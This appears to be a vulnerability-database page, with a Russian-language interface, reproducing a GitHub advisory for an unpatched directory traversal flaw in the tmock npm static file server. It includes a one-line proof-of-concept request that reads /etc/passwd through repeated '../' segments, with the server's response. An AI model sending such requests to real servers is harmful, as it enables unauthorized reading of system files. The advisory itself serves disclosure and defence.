Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-j6w4-pg6p-5mrv

Опубликовано: 23 июл. 2018
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

Directory Traversal in tmock

tmock is a static file server.

tmock is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost

and server Response:

HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Пакеты

Наименование

tmock

npm
Затронутые версииВерсия исправления

<= 0.0.7

Отсутствует

EPSS

Процентиль: 67%
0.00533
Низкий

7.5 High

CVSS3

Дефекты

CWE-22

Связанные уязвимости

CVSS3: 7.5
nvd
больше 7 лет назад

tmock is a static file server. tmock is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

EPSS

Процентиль: 67%
0.00533
Низкий

7.5 High

CVSS3

Дефекты

CWE-22